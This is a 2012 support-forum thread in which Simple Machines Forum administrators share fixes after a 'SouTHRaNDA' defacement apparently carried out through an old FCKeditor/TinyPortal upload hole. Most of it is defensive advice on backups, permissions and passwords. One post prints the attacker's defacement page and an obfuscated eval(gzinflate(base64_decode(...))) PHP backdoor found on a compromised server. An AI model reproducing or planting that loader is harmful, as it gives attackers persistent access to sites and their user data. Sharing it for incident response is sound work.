Simple Machines Community Forum

SMF Support => SMF 2.0.x Support => Topic started by: Scooby on January 02, 2012, 06:18:58 PM

Title: Help with hack SouTHRaNDA wAs HeRE
Post by: Scooby on January 02, 2012, 06:18:58 PM
Could anyone give me advice on how to recover from a hack by SouTHRaNDA wAs HeRE I am using linux and apache and SMF 2.0 RC5
Not sure if the hack was into linux or SMF but my SMF index.php was changed. but installing a new version does not help
More details of what I am using available if needed
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Illori on January 02, 2012, 07:26:04 PM
there are several security issues with RC5, i would suggest you contact your host and upgrade to 2.0.2
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: sonnenblende on January 03, 2012, 01:07:33 PM
Hi,

I had the exact same issue with two older SMF sites today.

Best way to fix is:

a) restore index.php and Settings.php from last backup (you should always run backups!)

b) make sure your index.php and Settings.php are NOT world/group writable!

c) make sure your /tp-images folder is NOT world/group writable!

d) remove the directory "File" from /tp-images (that's where they seem to break in)

e) by all means CHANGE your database and administrator passwords (part of the hack is them trying to pull a dump of your members table!)

That should clear it. Most important thing is indeed they must not be able to use php code to overwrite your index.php and Settings.php - depends on your hosts setup if and how they can achieve that.

Regards,
Jerry
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on January 03, 2012, 03:06:12 PM
Quote from: sonnenblende on January 03, 2012, 01:07:33 PM
Hi,

I had the exact same issue with two older SMF sites today.

Best way to fix is:

a) restore index.php and Settings.php from last backup (you should always run backups!)

b) make sure your index.php and Settings.php are NOT world/group writable!

c) make sure your /tp-images folder is NOT world/group writable!

d) remove the directory "File" from /tp-images (that's where they seem to break in)

e) by all means CHANGE your database and administrator passwords (part of the hack is them trying to pull a dump of your members table!)

That should clear it. Most important thing is indeed they must not be able to use php code to overwrite your index.php and Settings.php - depends on your hosts setup if and how they can achieve that.

Regards,
Jerry

I should note that I fixed the security issue with tp-images/ folder back in TP 1 rc1.2. If you are not running TP on or after that version you are vulnerable.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Scooby on January 03, 2012, 04:30:18 PM
I have checked and made sure I have it all set as you suggest, I did have an old version of TP, I am not using it but the directories and files are there, So I will sort that. I don't however have a file directory under tp-images, so I would guess they broke in some other way.

Do you know if this hack does get them the members table? I will email all the members anyway
Thanks for the help
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on January 03, 2012, 04:39:55 PM
If any hacker gains access to your files system, you can count on them getting database access from your Settings.php file. There have only been two security exploits to TinyPortal that I can recall. One that I fixed that I mentioned in RC1.2. And the other one was from the FCKeditor that was exploited when TinyPortal included that as part of it's code. If you have such an old version that still has the FCKeditor folder in it, I'd highly suggest you remove it or update your mod install.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: badping on January 28, 2012, 12:56:53 PM
I wanted to add a couple of things to this thread based on my experience this morning with this. After overwriting my settings file and index file I still had to overwrite my SSI file as well.
At that point I looked into my Packages for updates of my forum. I was informed I was running an outdated forum version.
I had 1.1.15 and needed to update to 1.1.16
In my attempt, two PHP files failed in my Sources folder, Packages.php and MessageIndex.php

So i overwrote those from the same back up I had prior to getting hacked - reran the update test and both then passed with success and I updated. I then went and changed my admin PW and my database PW

Looks like I am back up and running, and all seems good.

Final thoughts, are that I think you would need to also fix those two other PHP files in the Sources folder as they are somehow affected by the hack. I see no other way since the update passed after I fixed them from a recent backup.

Oh another note: Checking into my "File" folder in tp-images I saw a list of crazy html pages.

So I think that the goal is to shut your site down, harvest emails and host their own webpages containing whatever  was on them. I did not want to visit any of the sites, just move on with my life.

Good luck and hope you do not have to deal with this - its a waste of a couple of hours of your life but at least it appears to be recoverable...
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Intangir on January 31, 2012, 05:06:15 PM
does anyone know how it actually works?
is it the SMF code it exploits? does the new patch fix it?
or could it be a mod? i have tiny portal

i was also hacked and im doing a full restore just to be safe, but while its running i dont want to be hacked again (i put forum into maintnance mode, but i dont know if that will stop it)

full restore is taking forever ;()

has anyone been hacked again since updating? do they get member passwords or anything?

wow on another note it took me about 12-13 'new images' before i could possibly comprehend the verification image... wtf?
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Illori on January 31, 2012, 05:10:03 PM
this was an issue in tinyportal as ichbin posted, if there were further issues related to this it would have been posted in the tinyportal support thread.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Intangir on January 31, 2012, 08:32:55 PM
when i try to upgrade to 1.1.16 from 1.1.15 it says:

The package you are trying to download or install is either corrupt or not compatible with this version of SMF
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Illori on January 31, 2012, 08:56:47 PM
if you do a search on the forum for that message you will find the fix it has been posted several times.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Intangir on January 31, 2012, 09:17:24 PM
any more direction than that? because i DID do a search, i found TONS Of posts, and most of them either saying, it doesnt work, or it did work

a few say rezip it, which i tried, that didnt work

theres gotta be more help out there than "it works" "it doesnt work" "i rezipped it"

because that is really not very useful
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: JimM on February 09, 2012, 08:47:18 PM
@ Intangir - Did you get that message after clicking on the link in the admin center?  If you did, try downloading the update file from here > http://custom.simplemachines.org/mods/downloads/smf_patch_1.0.22_1.1.16.tar.gz and install it like a mod with the Package Manager.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: slvreagl on April 08, 2012, 11:53:23 PM
Son of a **** I got hit with this today.....
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: slvreagl on April 09, 2012, 10:11:39 PM
Quote from: slvreagl on April 08, 2012, 11:53:23 PM
Son of a **** I got hit with this today.....

So I did the above recommendations and found my SSi.php was also attacked, after deleting and restoring all three files from a known good backup I am back up and running and my database was not affected (I use a different password for database access) They attacked via FTP and simply overwrote my files that were writable *stupid mistake! Not sure how they got my ftp password but they have all been changed.

Also should also note I got attacked running SMF 2.0.2 and TinyPortal 1.107
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: MrPhil on April 10, 2012, 09:01:16 AM
Quote from: slvreagl on April 09, 2012, 10:11:39 PM
Not sure how they got my ftp password but they have all been changed.
Very easily if you have spyware on any PC used to administratively access your site. With a keystroke logger or password sniffer, a hacker knows your new password as soon as you type it in. Be sure to do a thorough spyware scan on your PC(s), and to change passwords again if the scan reveals any spyware. And of course, you have a firewall to stop unauthorized data transfers (such as sending out a captured password), right?

Note that ftp sends its password in clear text. That can be another route for grabbing your password. You may want to ask your host if they support SFTP (encrypted) file transfer.

Quote
Also should also note I got attacked running SMF 2.0.2 and TinyPortal 1.107
Probably irrelevant information, if they got in by knowing your FTP password.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on April 10, 2012, 11:54:49 AM
Quote from: slvreagl on April 09, 2012, 10:11:39 PM
So I did the above recommendations and found my SSi.php was also attacked, after deleting and restoring all three files from a known good backup I am back up and running and my database was not affected (I use a different password for database access) They attacked via FTP and simply overwrote my files that were writable *stupid mistake! Not sure how they got my ftp password but they have all been changed.

Also should also note I got attacked running SMF 2.0.2 and TinyPortal 1.107

A couple of things to note. If you are on shared hosting, it often happens that a hacker can compromise another site on the same server that you are on, which then gives them access to the rest of the sites on the server because the host doesn't have everything properly configured.

It's best to fill out a security report and to provide ALL the information asked for on that form.
http://www.simplemachines.org/about/smf/security.php
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Lord Anubis on April 10, 2012, 04:14:17 PM
Blah, this bastard got me too :o

Downloading my backup from 5 days ago, gonna take a bit since its 300 GB.... LMFAO
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on April 10, 2012, 04:25:48 PM
You should keep an eye on this topic too Anubis.
http://www.simplemachines.org/community/index.php?topic=466873.msg3311171#msg3311171
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: Lord Anubis on April 10, 2012, 04:37:44 PM
Thanks Brad, think I did remove the FCKeditor when I read about the vulnerability in the past. 

Also noticed this hacker added 404.php files in a few folders (so others might want to look for that as well)

- Root
- Themes
- Sources

I already cleared these files from my server, and I didn't save them (so I can't post them up)
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: TeaTephi on April 10, 2012, 06:54:56 PM
I was hacked also, but have followed the above advice and hopefully it will be ok now!  keeping watch on this thread, if any more great advice pops up, I will be heeding it for sure.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: slvreagl on April 12, 2012, 12:32:09 AM
In case anyone was wondering this is the code on all three files that where hacked on my site, Index.php, Settings.php, SSI.php
<html>
    <head>
        <meta content="DiRTY SouTH" name="copyright">
        <meta content="southranda, dirty south, southranda was here" name="keywords">
        <meta content="SouTHRaNDA wAs HeRE" name="description">
        <title>by SouTHRaNDA</title>
        <link href="http://i.lulzimg.com/9b7d4026e6.gif" rel="shortcut icon">
    </head>
    <body bgcolor="#ffffff" text="#a9a9a9" onmousedown="return false;" onkeydown="return false;" oncontextmenu="return false;">
       <br>
       <div align="center">
           <br>
           <b>SouTHRaNDA wAs HeRE</b><br><br><i>con gli occhi rossi</i><br>
           <br>
           <img src="http://i.imgur.com/QmRje.jpg">
           <br>
           <br>
           <i>porta droga<br><br>bianca vergine pura<br><br>toglimi la paura</i><br><br><br>© <b>DiRTY SouTH</b><br>
           <br>
           <br>
           <embed src="http://www.youtube.com/v/oij0kscC2Yc&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
       </div>
    </body>
</html>


Also found and deleted the directory tp-images/File
with the following files:
weba.php.pjpg

index.php
<?php /*00000000000000000000000000000000*/ eval(gzinflate(base64_decode('DZe1EuvIFkU/Z+4tBWKqVxOImSxWMiWLmfHrn2M7aJ0+vdfaxZn2f6q3Gcs+3Ys/33QrCOy/vMimvPjzj5iUMr/sqdg5IE5DK3u43Xxjjmdgidogj5eRM4EfRXg21UXjwZ5OFHTgNlg+0tIdKNUB4dqELPjNJooUJhC8WlVBoNaUCGBM4C6SM+1cNf8NC1QYhBSjuT4zWFzH6Pl0oRc+JxapuEFi7Ynzsg2pr8pIidGANP+0M4Iqj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+/f9qYYhY6v4BR2TEkRjxyJDS6bLF6nl76PtF5+6JWxGsOJ50xD3m1HpzzNT8Xs8XKgo+FbgU/GjSI3bhY4nJdEKbNDjwZNOzfHczTdjmpNlA/tW/MRhmlabj4wF2NgntfcYn3Zh8Gg8Gg6C0jxn3lFe/4tVfHyYyC1u0J42p+BSx+NJYrJ7RbRoD/CeAk4DQZft/o1C7vq7Mpsev9NWIKbxnEUf6O+wxl9CXsKtnrmgQ+g//FYoQJFRZ12bFEtfASHjNlgtS7eJQKfZ35XbfsLtkmd6B6j7tC9FPzs0fGFPQn1B0jzmuL9YbfJmSUDRIwCquGgJ7NcNV2zcPydiEjlsTchYPhByUH4WQIQggZPXVrrP3ELw8IET260Bxl1asMZ6tWaord+VJiJHLQuDbj5K+bPC2A/Kq1LonRA1m6EuVZkFtjRMGVb9H3gdmydfiFwVNpvOMDFppEk6yNCtaQdpqdqqKyaFsccfLaKQNhNZbEx/7AcgavCUOFIoekEy9VDitVPHsRN0MJMkuBVlmCJACW5wlezL///P3793//Bw==')));?>
<?php

exit;

?>

21032012.html
<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=windows-1251">

</head>

<body>

21_03_2012 01

</body>

</html>
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: TeaTephi on April 12, 2012, 07:45:54 AM
Quote from: Lord Anubis on April 10, 2012, 04:37:44 PM
Thanks Brad, think I did remove the FCKeditor when I read about the vulnerability in the past. 

Also noticed this hacker added 404.php files in a few folders (so others might want to look for that as well)

- Root
- Themes
- Sources

I already cleared these files from my server, and I didn't save them (so I can't post them up)


I found one of these files in my root folder.  Not sure if you guys want me to upload it here?  or just delete it.  I haven't checked my SSI file, but I will today.

Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: thefley on April 12, 2012, 03:36:38 PM
So i downloaded the tp-images/File to my desktop to take a look at the files AVG popped up with 2
"Trojan horse PHP/BackDoor.BH"
"Trojan horse PHP/BackDoor.Cp"

files found......  so this looks like one way they are getting in.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on April 12, 2012, 05:27:15 PM
For those of you running TinyPortal make sure you are running the latest version. If you have any previous older install of TP on your forum, make sure you remove the FCKEditor folder.

Has anyone contacted their host to get help with their problem?
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: TeaTephi on April 12, 2012, 05:48:22 PM
Quote from: IchBin™ on April 12, 2012, 05:27:15 PM
For those of you running TinyPortal make sure you are running the latest version. If you have any previous older install of TP on your forum, make sure you remove the FCKEditor folder.

Has anyone contacted their host to get help with their problem?

I contacted godaddy today, and purchased their security app, and submitted a ticket with all the problems that I had.

One thing that really annoyed me was that southranda took over my profile on my forum, and I had to come on as another admin and delete myself in order to delete him.  I was panicked, probably not the best choice, but I still have my forum in tact.

I also submitted a report here with all the info they required (i think).  Hopefully we'll get to the bottom of this soon.

BTW, I did delete the FCKeditor and the file in tp-images, and updated TP.

EDIT:
Quote from: GoDaddy support
Dear Sir/Madam,

Thank you for contacting the Website Protection Customer Security Advisors.  We understand that your site recently was attacked and defaced by an attacker.  From a review of the site logs, it appears that a vulnerable version of FCKeditor was used in order to upload a malicious file to the hosting plan on 4/9/12.  Using this malicious file, the attacker was able to upload additional malicious files as well as modify your index page.  At this time it does appear that you have already removed the FCKeditor folder as well as the malicious files the attacker was able to upload.  A sample of logs has been provided and as can be seen from the logs, the attacker was able to read your configuration file in order to gain your database password.  The attacker appears to have made a connection to the database and it's possible that changes could have been made to the database or content copied from the database. You will want to ensure that your users all update their login information to the site as well as ensure that they update their passwords on other sites if they use the same password for multiple websites.  As a precaution you may wish to restore your database prior to 4/9/12 if you have a backup of the database that you can verify is clean.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on April 12, 2012, 08:48:13 PM
If you did indeed had the FCKeditor folder, and were using TP prior to version 1RC1.2, then I'm pretty sure that was your problem. tp-images/ folder now has a .htaccess file to prevent files from being executed in it, and also TP should not allow anything but images to be uploaded to the directory.

FCKEditor had a file upload exploit that allowed exactly the same problem you have experienced.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: TeaTephi on April 12, 2012, 09:20:22 PM
Quote from: IchBin™ on April 12, 2012, 08:48:13 PM
If you did indeed had the FCKeditor folder, and were using TP prior to version 1RC1.2, then I'm pretty sure that was your problem. tp-images/ folder now has a .htaccess file to prevent files from being executed in it, and also TP should not allow anything but images to be uploaded to the directory.

FCKEditor had a file upload exploit that allowed exactly the same problem you have experienced.

Yep I had that folder, and the TP version was 1.104.   I've got it all correct now.  I wish I had deleted it earlier!

Oh it was weird that the hacker himself deleted the FCKeditor from my site.  I thought that was weird, like he closed the door behind him, so no one else could break in?
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: IchBin™ on April 12, 2012, 09:45:38 PM
haha, maybe so. But yeah, that is definitely weird.
Title: Re: Help with hack SouTHRaNDA wAs HeRE
Post by: MrPhil on April 13, 2012, 08:57:29 AM
Quote from: TeaTephi on April 12, 2012, 09:20:22 PM
Oh it was weird that the hacker himself deleted the FCKeditor from my site.  I thought that was weird, like he closed the door behind him, so no one else could break in?

It's not the first time that's been done. I seem to recall hearing of viruses that disable competing viruses.